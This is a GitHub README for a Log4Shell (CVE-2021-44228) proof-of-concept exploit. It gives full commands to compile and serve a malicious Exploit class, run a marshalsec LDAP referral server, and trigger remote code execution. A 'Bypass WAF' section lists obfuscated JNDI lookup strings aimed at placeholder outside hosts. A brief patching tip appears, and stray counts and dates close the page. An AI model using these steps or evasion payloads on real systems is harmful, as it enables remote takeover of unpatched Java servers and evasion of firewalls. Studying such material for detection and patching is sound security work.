CVE-2021-44228 (Apache Log4j Remote Code Execution）
The version of 1.x has other vulnerabilities, it is recommended to update to the latest version.
Security Advisories / Bulletins linked to Log4Shell (CVE-2021-44228)
Usage:
Download this project, compile the exploit code blob/master/src/main/java/Exploit.java, and start a webserver to allow downloading the compiled binary.
git clone https://github.com/roxas-tan/CVE-2021-44228.git
cd CVE-2021-44228
javac Exploit.java
# start webserver
# For Python2
python -m SimpleHTTPServer 8888
# For Python3
python3 -m http.server 8888
# make sure the python webserver is running in the same directory as Exploit.class, to test
curl -I 127.0.0.1:8888/Exploit.class
Download another project and run LDAP server implementation returning JNDI references* https://github.com/mbechler/marshalsec/blob/master/src/main/java/marshalsec/jndi/LDAPRefServer.java
git clone https://github.com/mbechler/marshalsec.git
cd marshalsec
# Java 8 required
mvn clean package -DskipTests
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Exploit"
Build and run the activation code (simulate an log4j attack on a vulnerable java web server) blob/master/src/main/java/log4j.java, and your calculator app will appear.
cd CVE-2021-44228
mvn clean package
java -cp target/log4j-rce-1.0-SNAPSHOT-all.jar log4j
# Expect the following
# 1. calculator app appears
# 2. in ldapserver console,
# Send LDAP reference result for Exploit redirecting to http://127.0.0.1:8888/Exploit.class
# 3. in webserver console,
# 127.0.0.1 - - [....] "GET /Exploit.class HTTP/1.1" 200 -
Tips:
Do not rely on a current Java version to save you. Update Log4 (or remove the JNDI lookup). Disable the expansion (seems a pretty bad idea anyways).
Bypass rc1
For example:
${jndi:ldap://127.0.0.1:1389/ badClassName}
Bypass WAF
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}
${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}
${jndi:rmi://adsasd.asdasd.asdasd}
${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}
Don't trust the web application firewall.
Details Of Vuln
Lookups provide a way to add values to the Log4j configuration at arbitrary places.
The methods to cause leak in finally
LogManager.getLogger().error()
LogManager.getLogger().fatal()
8 Jan 8, 2022
70 Sep 7, 2022
5 Dec 26, 2021
5 Mar 18, 2022
60 Dec 10, 2022
839 Dec 29, 2022
286 Nov 9, 2022
45 Dec 16, 2022
49 Apr 23, 2022
52 Dec 30, 2022